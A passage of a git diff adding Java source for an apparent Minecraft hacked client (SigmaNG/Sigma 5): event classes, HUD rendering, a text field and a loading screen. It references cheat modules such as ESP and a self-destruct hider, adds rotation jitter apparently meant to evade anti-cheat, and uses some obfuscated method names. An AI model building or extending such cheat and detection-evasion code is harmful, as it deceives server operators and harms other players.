(!SigmaNG.getSigmaNG().moduleManager.getModule(TabGUI.class).enabled && SigmaNG.getSigmaNG().moduleManager.getModule(MiniMap.class).enabled) { + offset += 25; + } + KeyStrokes.offset = offset - 75; +// if (!SigmaNG.getSigmaNG().moduleManager.getModule(MiniMap.class).enabled && SigmaNG.getSigmaNG().moduleManager.getModule(TabGUI.class).enabled) { +// KeyStrokes.offset = 130; +// } + if (SigmaNG.getSigmaNG().moduleManager.getModule(KeyStrokes.class).enabled) { + offset += 80; + } + Cords.offsetY = offset + 58; + + if (SigmaNG.getSigmaNG().gameMode == SigmaNG.GAME_MODE.dest) { + } else { + // mark + GL11.glPushMatrix(); + + final boolean enableBlend = GL11.glIsEnabled(3042); + final boolean disableAlpha = !GL11.glIsEnabled(3008); + if (!enableBlend) { + GL11.glEnable(3042); + } + if (!disableAlpha) { + GL11.glDisable(3008); + } + Minecraft.getInstance().getTextureManager().bindTexture(new ResourceLocation("sigmang/images/watermark1.png")); + GL11.glColor4d(1, 1, 1, 1f); + GL11.glTexParameteri(GL11.GL_TEXTURE_2D, GL11.GL_TEXTURE_MAG_FILTER, GL11.GL_LINEAR); + GL11.glTexParameteri(GL11.GL_TEXTURE_2D, GL11.GL_TEXTURE_MIN_FILTER, GL11.GL_LINEAR); + double scale = 0.5; + int yOff = 0; + + if (Minecraft.getInstance().isF3Enabled()) { + yOff = Minecraft.getInstance().ingameGUI.overlayDebug.getDebugInfoRightHeight(); + } + drawModalRectWithCustomSizedTexture( + 0, + yOff, // DO NOT SCALE (see getDebugInfoLeftHeight) + 0, + 0, 170 * scale, 104 * scale, 170 * scale, 104 * scale); + + if (!enableBlend) { + GL11.glDisable(3042); + } + if (!disableAlpha) { + GL11.glEnable(3008); + } + GL11.glPopMatrix(); + } + final boolean enableBlend = GL11.glIsEnabled(3042); + final boolean disableAlpha = !GL11.glIsEnabled(3008); + if (!enableBlend) { + GL11.glDisable(3042); + } + if (!disableAlpha) { + GL11.glEnable(3008); + } + JelloFontUtil.jelloFont20.drawNoBSString("", 0, 0, 0); + } +} diff --git a/src/info/sigmaclient/sigma/event/net/PacketEvent.java b/src/info/sigmaclient/sigma/event/net/PacketEvent.java new file mode 100644 index 00000000..fc0c7d87 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/net/PacketEvent.java @@ -0,0 +1,27 @@ +package info.sigmaclient.sigma.event.net; + +import info.sigmaclient.sigma.event.Event; +import lombok.Getter; +import net.minecraft.network.IPacket; + +public class PacketEvent extends Event { + @Getter + boolean isSend; + public boolean isRevive(){ + return !isSend; + } + public PacketEvent setRev(){ + isSend = false; + return this; + } + public PacketEvent setSend(){ + isSend = true; + return this; + } + @Getter + public IPacket packet; + public PacketEvent(IPacket packet){ + this.eventID = 5; + this.packet = packet; + } +} diff --git a/src/info/sigmaclient/sigma/event/player/AttackEvent.java b/src/info/sigmaclient/sigma/event/player/AttackEvent.java new file mode 100644 index 00000000..e39f380a --- /dev/null +++ b/src/info/sigmaclient/sigma/event/player/AttackEvent.java @@ -0,0 +1,21 @@ +package info.sigmaclient.sigma.event.player; + +import info.sigmaclient.sigma.event.Event; +import net.minecraft.entity.Entity; + +public class AttackEvent extends Event { + public Entity LivingEntity; + public boolean post = false; + public AttackEvent POST(){ + post = true; + return this; + } + public AttackEvent PRE(){ + post = false; + return this; + } + public AttackEvent(Entity LivingEntity){ + this.eventID = 11; + this.LivingEntity = LivingEntity; + } +} diff --git a/src/info/sigmaclient/sigma/event/player/BlockColEvent.java b/src/info/sigmaclient/sigma/event/player/BlockColEvent.java new file mode 100644 index 00000000..57f67124 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/player/BlockColEvent.java @@ -0,0 +1,17 @@ +package info.sigmaclient.sigma.event.player; + +import info.sigmaclient.sigma.event.Event; +import net.minecraft.block.Block; +import net.minecraft.util.math.AxisAlignedBB; +import net.minecraft.util.math.BlockPos; + +public class BlockColEvent extends Event { + public BlockPos blockPos; + public Block block; + public AxisAlignedBB add = null; + public BlockColEvent(BlockPos blockPos, Block block){ + this.eventID = 13; + this.blockPos = blockPos; + this.block = block; + } +} diff --git a/src/info/sigmaclient/sigma/event/player/ClickEvent.java b/src/info/sigmaclient/sigma/event/player/ClickEvent.java new file mode 100644 index 00000000..68119448 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/player/ClickEvent.java @@ -0,0 +1,25 @@ +package info.sigmaclient.sigma.event.player; + +import info.sigmaclient.sigma.event.Event; +import info.sigmaclient.sigma.modules.player.OldHitting; +import info.sigmaclient.sigma.sigma5.SelfDestructManager; +import info.sigmaclient.sigma.utils.player.RotationUtils; + +import net.minecraft.item.SwordItem; +import net.minecraft.util.Hand; + +import static info.sigmaclient.sigma.modules.Module.mc; +import static info.sigmaclient.sigma.utils.RandomUtil.nextFloat; + +public class ClickEvent extends Event { + public ClickEvent(){ + this.eventID = 3; + if(SelfDestructManager.destruct) return; + if(mc.player == null) return; + OldHitting.blocking = (mc.player.getHeldItem(Hand.MAIN_HAND).getItem() instanceof SwordItem && mc.gameSettings.keyBindUseItem.pressed); + if (RotationUtils.random.nextGaussian() > 0.5) { + RotationUtils.lastRandomDeltaRotation[0] = RotationUtils.lastRandomDeltaRotation[0] * 0.1f + nextFloat(-1f, 1); + RotationUtils.lastRandomDeltaRotation[1] = RotationUtils.lastRandomDeltaRotation[1] * 0.1f + nextFloat(-1f, 1); + } + } +} diff --git a/src/info/sigmaclient/sigma/event/player/KeyEvent.java b/src/info/sigmaclient/sigma/event/player/KeyEvent.java new file mode 100644 index 00000000..e6a6091e --- /dev/null +++ b/src/info/sigmaclient/sigma/event/player/KeyEvent.java @@ -0,0 +1,13 @@ +package info.sigmaclient.sigma.event.player; + +import info.sigmaclient.sigma.event.Event; +import lombok.Getter; + +public class KeyEvent extends Event { + @Getter + public int key; + public KeyEvent(int key){ + this.eventID = 2; + this.key = key; + } +} diff --git a/src/info/sigmaclient/sigma/event/player/MouseClickEvent.java b/src/info/sigmaclient/sigma/event/player/MouseClickEvent.java new file mode 100644 index 00000000..ddf5eb16 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/player/MouseClickEvent.java @@ -0,0 +1,14 @@ +package info.sigmaclient.sigma.event.player; + +import info.sigmaclient.sigma.event.Event; +import lombok.Getter; + +public class MouseClickEvent extends Event { + @Getter + public boolean isAttack = false; + public int rightClickDelay = -1; + public MouseClickEvent(boolean isAttack){ + this.eventID = 8; + this.isAttack = isAttack; + } +} diff --git a/src/info/sigmaclient/sigma/event/player/MoveEvent.java b/src/info/sigmaclient/sigma/event/player/MoveEvent.java new file mode 100644 index 00000000..5d0e209a --- /dev/null +++ b/src/info/sigmaclient/sigma/event/player/MoveEvent.java @@ -0,0 +1,28 @@ +package info.sigmaclient.sigma.event.player; + +import info.sigmaclient.sigma.event.Event; +import lombok.Getter; +import lombok.Setter; + +public class MoveEvent extends Event { + @Getter + @Setter + private double x; + @Getter + @Setter + private double y; + @Getter + @Setter + private double z; + + public MoveEvent(double x, double y, double z){ + this.eventID = 15; + this.x = x; + this.y = y; + this.z = z; + } + + public void setMoveSpeed(double v) { + + } +} diff --git a/src/info/sigmaclient/sigma/event/player/RenderESPEvent.java b/src/info/sigmaclient/sigma/event/player/RenderESPEvent.java new file mode 100644 index 00000000..c92bb4c9 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/player/RenderESPEvent.java @@ -0,0 +1,8 @@ +package info.sigmaclient.sigma.event.player; + +import info.sigmaclient.sigma.event.Event; + +public class RenderESPEvent extends Event { + public RenderESPEvent(){ + } +} diff --git a/src/info/sigmaclient/sigma/event/player/StepEvent.java b/src/info/sigmaclient/sigma/event/player/StepEvent.java new file mode 100644 index 00000000..ff64756f --- /dev/null +++ b/src/info/sigmaclient/sigma/event/player/StepEvent.java @@ -0,0 +1,16 @@ +package info.sigmaclient.sigma.event.player; + +import info.sigmaclient.sigma.event.Event; +import lombok.Getter; + +public class StepEvent extends Event { + @Getter + private boolean pre; + public boolean isPost(){ + return !pre; + } + public StepEvent(boolean key){ + this.eventID = 9; + this.pre = key; + } +} diff --git a/src/info/sigmaclient/sigma/event/player/UpdateEvent.java b/src/info/sigmaclient/sigma/event/player/UpdateEvent.java new file mode 100644 index 00000000..dfb4dc4d --- /dev/null +++ b/src/info/sigmaclient/sigma/event/player/UpdateEvent.java @@ -0,0 +1,32 @@ +package info.sigmaclient.sigma.event.player; + +import info.sigmaclient.sigma.event.Event; + +public class UpdateEvent extends Event { + public double x, y, z; + public float yaw; + public float pitch; + public float forcePitch; + public boolean onGround, dontRotation, changeForce; + public boolean send; + public UpdateEvent(double x, double y, double z, float yaw, float pitch, boolean onGround){ + this.eventID = 16; + this.x = x; + this.y = y; + this.z = z; + this.yaw = yaw; + this.pitch = pitch; + this.onGround = onGround; + this.pre = true; + this.forcePitch = pitch; + this.dontRotation = false; + this.changeForce = false; + } + public boolean pre; + public boolean isPre(){ + return pre; + } + public boolean isPost(){ + return !pre; + } +} diff --git a/src/info/sigmaclient/sigma/event/player/WindowUpdateEvent.java b/src/info/sigmaclient/sigma/event/player/WindowUpdateEvent.java new file mode 100644 index 00000000..ca87c31a --- /dev/null +++ b/src/info/sigmaclient/sigma/event/player/WindowUpdateEvent.java @@ -0,0 +1,9 @@ +package info.sigmaclient.sigma.event.player; + +import info.sigmaclient.sigma.event.Event; + +public class WindowUpdateEvent extends Event { + public WindowUpdateEvent(){ + this.eventID = 12; + } +} diff --git a/src/info/sigmaclient/sigma/event/player/WorldEvent.java b/src/info/sigmaclient/sigma/event/player/WorldEvent.java new file mode 100644 index 00000000..71723545 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/player/WorldEvent.java @@ -0,0 +1,9 @@ +package info.sigmaclient.sigma.event.player; + +import info.sigmaclient.sigma.event.Event; + +public class WorldEvent extends Event { + public WorldEvent(){ + this.eventID = 6; + } +} diff --git a/src/info/sigmaclient/sigma/event/render/Render3DEvent.java b/src/info/sigmaclient/sigma/event/render/Render3DEvent.java new file mode 100644 index 00000000..1b683994 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/render/Render3DEvent.java @@ -0,0 +1,17 @@ +package info.sigmaclient.sigma.event.render; + +import info.sigmaclient.sigma.sigma5.SelfDestructManager; +import info.sigmaclient.sigma.utils.render.rendermanagers.GlStateManager; +import info.sigmaclient.sigma.event.Event; + +import static info.sigmaclient.sigma.modules.render.ESP.shadowESP; + +public class Render3DEvent extends Event { + public float renderTime; + public Render3DEvent(float renderTime){ + this.eventID = 7; + this.renderTime = renderTime; + if(SelfDestructManager.destruct) return; + GlStateManager.disableLighting(); + } +} diff --git a/src/info/sigmaclient/sigma/event/render/RenderChestEvent.java b/src/info/sigmaclient/sigma/event/render/RenderChestEvent.java new file mode 100644 index 00000000..323891f9 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/render/RenderChestEvent.java @@ -0,0 +1,19 @@ +package info.sigmaclient.sigma.event.render; + +import info.sigmaclient.sigma.event.Event; +import net.minecraft.tileentity.TileEntity; + +public class RenderChestEvent extends Event { + public TileEntity tileEntity; + private final Runnable modelRenderer; + public boolean pre; + public RenderChestEvent(Runnable modelRenderer, boolean pre, TileEntity tileEntity) { + this.eventID = 14; + this.modelRenderer = modelRenderer; + this.tileEntity = tileEntity; + this.pre = pre; + } + public void drawModel() { + this.modelRenderer.run(); + } +} diff --git a/src/info/sigmaclient/sigma/event/render/RenderEvent.java b/src/info/sigmaclient/sigma/event/render/RenderEvent.java new file mode 100644 index 00000000..037d2c57 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/render/RenderEvent.java @@ -0,0 +1,106 @@ +package info.sigmaclient.sigma.event.render; + +import info.sigmaclient.sigma.gui.font.JelloFontUtil; +import info.sigmaclient.sigma.modules.gui.Shader; +import info.sigmaclient.sigma.sigma5.SelfDestructManager; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import info.sigmaclient.sigma.utils.render.rendermanagers.GlStateManager; +import info.sigmaclient.sigma.utils.render.rendermanagers.ScaledResolution; +import info.sigmaclient.sigma.SigmaNG; +import info.sigmaclient.sigma.event.Event; +import info.sigmaclient.sigma.event.defaultevent.Render; +import info.sigmaclient.sigma.modules.gui.TabGUI; +import info.sigmaclient.sigma.utils.TimerUtil; +import info.sigmaclient.sigma.gui.hud.JelloTabGUI; +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.texture.TextureUtil; +import org.lwjgl.BufferUtils; +import org.lwjgl.opengl.GL11; +import org.lwjgl.opengl.GL12; + +import java.awt.*; +import java.nio.IntBuffer; + +import static info.sigmaclient.sigma.modules.Module.mc; + +public class RenderEvent extends Event { + public float renderTime; + private static TimerUtil timerUtil = new TimerUtil(); + public RenderEvent(float renderTime){ + this.eventID = 1; + GlStateManager.color(1,1,1,1); + if(SelfDestructManager.destruct) return; + Render.render(); + GlStateManager.disableLighting(); + GlStateManager.enableTexture2D(); + RenderUtils.startBlend(); + GlStateManager.disableAlpha(); + GlStateManager.enableBlend(); + RenderUtils.startBlend(); + JelloFontUtil.jelloFont16.drawCenteredString("", 0, 0, 0); + + GlStateManager.color(1,1,1,1); + if(SigmaNG.getSigmaNG().moduleManager.getModule(TabGUI.class).enabled && !Shader.isEnable()){ + if(timerUtil.hasTimeElapsed(100)){ + if(mc.gameSettings.ofFastRender) { + JelloTabGUI.colorTop = new Color(0, 0, 0).getRGB(); + JelloTabGUI.colorTopRight = new Color(0, 0, 0).getRGB(); + + JelloTabGUI.colorBottom = new Color(0, 0, 0).getRGB(); + JelloTabGUI.colorBottomRight = new Color(0, 0, 0).getRGB(); + + JelloTabGUI.colorNotification = new Color(0, 0, 0).getRGB(); + JelloTabGUI.colorNotificationBottom = new Color(0, 0, 0).getRGB(); + return; + } + ScaledResolution sr = new ScaledResolution(Minecraft.getInstance()); + int p_148259_2_ = 0, p_148259_3_ = 0; + IntBuffer pixelBuffer; + int[] pixelValues; + +// if (OpenGlHelper.isFramebufferEnabled()) { + p_148259_2_ = 180; + p_148259_3_ = 280; +// } + int var6 = p_148259_2_ * p_148259_3_; + + pixelBuffer = BufferUtils.createIntBuffer(var6); + pixelValues = new int[var6]; + + GL11.glPixelStorei(GL11.GL_PACK_ALIGNMENT, 1); + GL11.glPixelStorei(GL11.GL_UNPACK_ALIGNMENT, 1); + pixelBuffer.clear(); + + GL11.glReadPixels(0, sr.getScaledHeight()- (p_148259_3_-sr.getScaledHeight())/*728*/, p_148259_2_, p_148259_3_, GL12.GL_BGRA, GL12.GL_UNSIGNED_INT_8_8_8_8_REV, pixelBuffer); + + pixelBuffer.get(pixelValues); + TextureUtil.func_147953_a(pixelValues, p_148259_2_, p_148259_3_); + + try { + JelloTabGUI.colorTop = pixelValues[(45 * sr.getScaleFactor()) * p_148259_2_ + 10]; + JelloTabGUI.colorTopRight = pixelValues[(45 * sr.getScaleFactor()) * p_148259_2_ + 130]; + + JelloTabGUI.colorBottom = pixelValues[((45 + 77) * sr.getScaleFactor()) * p_148259_2_ + 10]; + JelloTabGUI.colorBottomRight = pixelValues[((45 + 77) * sr.getScaleFactor()) * p_148259_2_ + 130]; + + JelloTabGUI.colorNotification = pixelValues[(10) * p_148259_2_ + 270]; + JelloTabGUI.colorNotificationBottom = pixelValues[(77) * p_148259_2_ + 270]; + + }catch (ArrayIndexOutOfBoundsException e){ + JelloTabGUI.colorTop = new Color(0, 0, 0).getRGB(); + JelloTabGUI.colorTopRight = new Color(0, 0, 0).getRGB(); + + JelloTabGUI.colorBottom = new Color(0, 0, 0).getRGB(); + JelloTabGUI.colorBottomRight = new Color(0, 0, 0).getRGB(); + + JelloTabGUI.colorNotification = new Color(0, 0, 0).getRGB(); + JelloTabGUI.colorNotificationBottom = new Color(0, 0, 0).getRGB(); + } + timerUtil.reset(); + } + } + + this.renderTime = renderTime; + GlStateManager.color(1,1,1,1); + } +} diff --git a/src/info/sigmaclient/sigma/event/render/RenderModelEvent.java b/src/info/sigmaclient/sigma/event/render/RenderModelEvent.java new file mode 100644 index 00000000..dd19a8e0 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/render/RenderModelEvent.java @@ -0,0 +1,28 @@ +package info.sigmaclient.sigma.event.render; + +import info.sigmaclient.sigma.event.Event; +import net.minecraft.entity.LivingEntity; + +public class RenderModelEvent extends Event { + private final LivingEntity entity; + private final Runnable modelRenderer; + private final Runnable layerRenderer; + + public RenderModelEvent(LivingEntity entity, Runnable modelRenderer, Runnable layerRenderer) { + this.eventID = 10; + this.entity = entity; + this.modelRenderer = modelRenderer; + this.layerRenderer = layerRenderer; + } + public LivingEntity getEntity() { + return entity; + } + + public void drawModel() { + this.modelRenderer.run(); +// this.layerRenderer.run(); + } + public void drawLayers() { + this.layerRenderer.run(); + } +} diff --git a/src/info/sigmaclient/sigma/event/render/RenderShaderEvent.java b/src/info/sigmaclient/sigma/event/render/RenderShaderEvent.java new file mode 100644 index 00000000..8732d9eb --- /dev/null +++ b/src/info/sigmaclient/sigma/event/render/RenderShaderEvent.java @@ -0,0 +1,11 @@ +package info.sigmaclient.sigma.event.render; + +import info.sigmaclient.sigma.event.Event; + +public class RenderShaderEvent extends Event { + public float renderTime; + public RenderShaderEvent(float renderTime){ + this.eventID = 4; + this.renderTime = renderTime; + } +} diff --git a/src/info/sigmaclient/sigma/gui/JelloTextField.java b/src/info/sigmaclient/sigma/gui/JelloTextField.java new file mode 100644 index 00000000..ec9c8a95 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/JelloTextField.java @@ -0,0 +1,211 @@ +package info.sigmaclient.sigma.gui; + +import info.sigmaclient.sigma.utils.render.ColorUtils; +import info.sigmaclient.sigma.gui.font.JelloFontUtil; +import lombok.Getter; +import lombok.Setter; +import net.minecraft.client.gui.*; +import net.minecraft.client.gui.widget.TextFieldWidget; +import net.minecraft.util.text.StringTextComponent; + +import java.awt.*; + +import static info.sigmaclient.sigma.utils.render.RenderUtils.drawRect; + +public class JelloTextField extends TextFieldWidget +{ + String placeHold = ""; + + @Getter + @Setter + private Color placeHoldColor = new Color(150, 150, 150); + + @Getter + @Setter + private Color textColor = new Color(220, 220, 220); + + public JelloTextField(int componentId, FontRenderer fontrendererObj, float x, float y, int par5Width, int par6Height) { + super(fontrendererObj, (int)x, (int) y, par5Width, par6Height, new StringTextComponent("")); + enableBackgroundDrawing = false; + } + + public JelloTextField(int componentId, FontRenderer fontrendererObj, float x, float y, int par5Width, int par6Height, String placeHold) { + super(fontrendererObj, (int)x, (int)y, par5Width, par6Height, new StringTextComponent("")); + this.setEnableBackgroundDrawing(false); + this.placeHold = placeHold; + } + + /** + * Draws the textbox + */ + public void drawTextBox() + { + if (this.getVisible()) + { + if (this.getEnableBackgroundDrawing()) + { + drawRect(this.x - 1, this.y - 1, this.x + this.width + 1, this.y + this.height + 1, -6250336); + drawRect(this.x, this.y, this.x + this.width, this.y + this.height, -16777216); + } + drawRect( + this.x - 1, this.y + this.height - 1, + this.x + this.width + 1, this.y + this.height, + new Color(200, 200, 200).getRGB()); + int i = new Color(0,0,0).getRGB(); + int j = this.getCursorPosition() - this.lineScrollOffset; + int k = this.selectionEnd - this.lineScrollOffset; + String s = JelloFontUtil.jelloFont24.trimStringToWidth(this.getText().substring(this.lineScrollOffset), this.getWidth()); + boolean flag = j >= 0 && j <= s.length(); + boolean flag1 = this.isFocused() && (System.currentTimeMillis() / 50) / 6 % 2 == 0 && flag; + int l = this.enableBackgroundDrawing ? this.x + 4 : this.x; + int i1 = this.enableBackgroundDrawing ? this.y + (this.height - 8) / 2 : this.y; + int j1 = l; + + if (k > s.length()) + { + k = s.length(); + } + + if (!s.isEmpty()) + { + String s1 = flag ? s.substring(0, j) : s; + j1 = JelloFontUtil.jelloFont24.drawString(s1, (float)l, (float)i1 + 3, textColor.getRGB()); + }else{ + JelloFontUtil.jelloFont24.drawNoBSString(placeHold, (float)l, (float)i1 + 3, placeHoldColor.getRGB()); + } + + boolean flag2 = this.getCursorPosition() < this.getText().length() || this.getText().length() >= this.getMaxStringLength(); + int k1 = j1; + + if (!flag) + { + k1 = j > 0 ? l + this.width : l; + } + else if (flag2) + { + k1 = j1 - 1; + --j1; + } + + if (!s.isEmpty() && flag && j < s.length()) + { + j1 = JelloFontUtil.jelloFont24.drawNoBSString(s.substring(j), (float)j1 + 1, (float)i1 + 3, textColor.getRGB()); + } + + if (flag1) + { + drawRect(k1 + 1, i1 - 1 + 2, k1 + 2, i1 + 1 + JelloFontUtil.jelloFont22.getHeight() + 2, -3092272); + } + + if (k != j) + { + int l1 = (int) (l + JelloFontUtil.jelloFont24.getStringWidth(s.substring(0, k))); + this.drawSelectionBox(k1, i1 - 1 + 2, l1 - 1, i1 + 1 + JelloFontUtil.jelloFont24.getHeight() + 2); + } + } + } + /** + * Draws the textbox + */ + public void drawTextBoxCustom(float alpha, float textOffsetY, int placeHoldColo, int texts) + { + int al = (int)(alpha * 255); + Color placeHoldColor = new Color(placeHoldColo, placeHoldColo, placeHoldColo, al); + Color textColor = new Color(texts, texts, texts, al); + + if (this.getVisible()) + { + if (this.getEnableBackgroundDrawing()) + { + drawRect(this.x - 1, this.y - 1, this.x + this.width + 1, this.y + this.height + 1, -6250336); + drawRect(this.x, this.y, this.x + this.width, this.y + this.height, -16777216); + } + drawRect( + this.x - 1, this.y + this.height - 1, + this.x + this.width + 1, this.y + this.height, + new Color(200, 200, 200, al).getRGB()); + int i = new Color(0,0,0).getRGB(); + int j = this.getCursorPosition() - this.lineScrollOffset; + int k = this.selectionEnd - this.lineScrollOffset; + String s = JelloFontUtil.jelloFont24.trimStringToWidth(this.getText().substring(this.lineScrollOffset), this.getWidth()); + boolean flag = j >= 0 && j <= s.length(); + boolean flag1 = this.isFocused() && (System.currentTimeMillis() / 50) / 6 % 2 == 0 && flag; + int l = this.enableBackgroundDrawing ? this.x + 4 : this.x; + int i1 = this.enableBackgroundDrawing ? this.y + (this.height - 8) / 2 : this.y; + int j1 = l; + + if (k > s.length()) + { + k = s.length(); + } + + if (!s.isEmpty()) + { + String s1 = flag ? s.substring(0, j) : s; + j1 = JelloFontUtil.jelloFont24.drawString(s1, (float)l, (float)i1 + 3 + textOffsetY, textColor.getRGB()); + }else{ + JelloFontUtil.jelloFont24.drawNoBSString(placeHold, (float)l, (float)i1 + 3 + textOffsetY, placeHoldColor.getRGB()); + } + + boolean flag2 = this.getCursorPosition() < this.getText().length() || this.getText().length() >= this.getMaxStringLength(); + int k1 = j1; + + if (!flag) + { + k1 = j > 0 ? l + this.width : l; + } + else if (flag2) + { + k1 = j1 - 1; + --j1; + } + + if (!s.isEmpty() && flag && j < s.length()) + { + j1 = JelloFontUtil.jelloFont24.drawNoBSString(s.substring(j), (float)j1 + 1, (float)i1 + 3 + textOffsetY, textColor.getRGB()); + } + + if (flag1) + { + drawRect(k1 + 1, i1 - 1 + 2 + textOffsetY, k1 + 2, i1 + 1 + JelloFontUtil.jelloFont22.getHeight() + 2 + textOffsetY, ColorUtils.reAlpha(-3092272, al).getRGB()); + } + + if (k != j) + { + int l1 = (int) (l + JelloFontUtil.jelloFont24.getStringWidth(s.substring(0, k)) + 1); + this.drawSelectionBox(k1, i1 - 1 + 2 + (int)textOffsetY, l1 - 1, i1 + 1 + JelloFontUtil.jelloFont24.getHeight() + 2 + (int)textOffsetY); + } + } + } + + /** + * Called when mouse is clicked, regardless as to whether it is over this button or not. + */ + public boolean mouseClicked(int mouseX, int mouseY, int mouseButton) + { + boolean flag = mouseX >= this.x && mouseX <= this.x + this.width && mouseY >= this.y && mouseY <= this.y + this.height; + + if (this.canLoseFocus) + { + this.setFocused(flag); + } + + if (this.isFocused() && flag && mouseButton == 0) + { + int i = mouseX - this.x + 4; + + if (this.enableBackgroundDrawing) + { + i -= 4; + } + + String s = JelloFontUtil.jelloFont24.trimStringToWidth(this.getText().substring(this.lineScrollOffset), this.getWidth()); + this.setCursorPosition(JelloFontUtil.jelloFont24.trimStringToWidth(s, i).length() + this.lineScrollOffset); + return true; + } + else + { + return false; + } + } +} diff --git a/src/info/sigmaclient/sigma/gui/Sigma5LoadProgressGui.java b/src/info/sigmaclient/sigma/gui/Sigma5LoadProgressGui.java new file mode 100644 index 00000000..4f12e509 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/Sigma5LoadProgressGui.java @@ -0,0 +1,238 @@ +package info.sigmaclient.sigma.gui; + +import com.mojang.blaze3d.matrix.MatrixStack; +import info.sigmaclient.sigma.sigma5.utils.ImageUtils; +import info.sigmaclient.sigma.utils.render.rendermanagers.DynamicTexture; +import info.sigmaclient.sigma.utils.render.rendermanagers.ScaledResolution; +import info.sigmaclient.sigma.gui.mainmenu.SigmaGuiMainMenu; +import info.sigmaclient.sigma.SigmaNG; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.ResourceLoadProgressGui; +import net.minecraft.client.gui.screen.MainMenuScreen; +import net.minecraft.resources.IAsyncReloader; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.Util; +import net.minecraft.util.math.MathHelper; +import net.optifine.Config; +import net.optifine.shaders.config.ShaderPackParser; +import net.optifine.util.PropertiesOrdered; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.io.InputStream; +import java.util.Optional; +import java.util.Properties; +import java.util.function.Consumer; + +import static info.sigmaclient.sigma.sigma5.utils.SigmaRenderUtils.䬹鞞葫Ꮀ待湗; + +public class Sigma5LoadProgressGui extends ResourceLoadProgressGui +{ + + + static DynamicTexture background_blur = ImageUtils.blurImage("", 0.25f, 25); + + public Sigma5LoadProgressGui(Minecraft p_i225928_1_, IAsyncReloader p_i225928_2_, Consumer> p_i225928_3_, boolean p_i225928_4_) + { + super(p_i225928_1_, p_i225928_2_, p_i225928_3_, p_i225928_4_); + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) { + float f3 = this.asyncReloader.estimateExecutionSpeed(); + this.progress = MathHelper.clamp(this.progress * 0.95F + f3 * 0.050000012F, 0.0F, 1.0F); + + int i = this.mc.getMainWindow().getScaledWidth(); + int j = this.mc.getMainWindow().getScaledHeight(); + long k = Util.milliTime(); + + if (this.reloading && (this.asyncReloader.asyncPartDone() || this.mc.currentScreen != null) && this.fadeInStart == -1L) { + this.fadeInStart = k; + } + + float f = this.fadeOutStart > -1L ? (float) (k - this.fadeOutStart) / 1000.0F : -1.0F; + float f1 = this.fadeInStart > -1L ? (float) (k - this.fadeInStart) / 500.0F : -1.0F; + + if (f >= 1.0F) { + this.fadeOut = true; + + if (this.mc.currentScreen != null) { + this.mc.currentScreen.render(matrixStack, 0, 0, partialTicks); + } + + int l = MathHelper.ceil((1.0F - MathHelper.clamp(f - 1.0F, 0.0F, 1.0F)) * 255.0F); + fill(matrixStack, 0, 0, i, j, this.colorBackground | l << 24); + } else if (this.reloading) { + if (this.mc.currentScreen != null && f1 < 1.0F) { + this.mc.currentScreen.render(matrixStack, mouseX, mouseY, partialTicks); + } + + int i2 = MathHelper.ceil(MathHelper.clamp((double) f1, 0.15D, 1.0D) * 255.0D); + fill(matrixStack, 0, 0, i, j, this.colorBackground | i2 << 24); + } else { + fill(matrixStack, 0, 0, i, j, this.colorBackground | -16777216); + } + + GL11.glPushMatrix(); + float n9 = 1111.0f; + if (this.mc.getMainWindow().getWidth() != 0) { + n9 = (float)(this.mc.getMainWindow().getFramebufferWidth() / this.mc.getMainWindow().getWidth()); + } + final float n10 = new ScaledResolution(mc).scaleFactor * n9; +// GL11.glScalef(1.0f / n10, 1.0f / n10, 0.0f); + draw(1.0f, progress); + GL11.glPopMatrix(); + // SIGMA 5.0 + + if (f >= 1.0F) { + if (!SigmaNG.init) { + SigmaNG.staticInitTitle(); + SigmaNG.init = true; + if(SigmaNG.gameMode == SigmaNG.GAME_MODE.SIGMA) + Minecraft.getInstance().displayGuiScreen(new SigmaGuiMainMenu()); + else + Minecraft.getInstance().displayGuiScreen(new MainMenuScreen()); + } + } + + if (f >= 2.0F) { + this.mc.setLoadingGui(null); + } + + if (this.fadeOutStart == -1L && this.asyncReloader.fullyDone() && (!this.reloading || f1 >= 2.0F)) { + this.fadeOutStart = Util.milliTime(); + + try { + this.asyncReloader.join(); + this.completedCallback.accept(Optional.empty()); + } catch (Throwable throwable) { + this.completedCallback.accept(Optional.of(throwable)); + } + + if (this.mc.currentScreen != null) { + this.mc.currentScreen.init(this.mc, this.mc.getMainWindow().getScaledWidth(), this.mc.getMainWindow().getScaledHeight()); + } + } + } + public void draw(final float n, final float n2){ + GL11.glEnable(3008); + GL11.glEnable(3042); + ScaledResolution sr = new ScaledResolution(mc); + background_blur.bindTexture(); + RenderUtils.drawTextureCustom(0, 0, sr.getScaledWidth(), sr.getScaledHeight(), 1); + + RenderUtils.drawRect(0.0f, 0.0f, sr.getScaledWidth(), sr.getScaledHeight(), 霥瀳놣㠠釒(0, 0.75f)); + final int n3 = 455; + final int n4 = 78; + final int n5 = (sr.getScaledWidth() - n3) / 2; + final int round = Math.round((sr.getScaledHeight() - n4) / 2f - 14.0f * n); + final float n6 = 0.5f; + GL11.glPushMatrix(); + RenderUtils.drawTextureLocationZoom((float)n5 + n3 * 0.25f, (float)round + n4 * 0.25f, (float)n3 * 0.5f, (float)n4 * 0.5f, "logo2", new Color(霥瀳놣㠠釒(-65794, n))); + GL11.glTranslatef((float)(sr.getScaledWidth() / 2), (float)(sr.getScaledHeight() / 2), 0.0f); + GL11.glScalef(n6, n6, 0.0f); + GL11.glTranslatef((float)(-sr.getScaledWidth() / 2), (float)(-sr.getScaledHeight() / 2), 0.0f); + final float min = Math.min(1.0f, n2 * 1.02f); + final int n7 = 80; +// if (n == 1.0f) { + 䬹鞞葫Ꮀ待湗((float)n5, (float)(round + n4 + 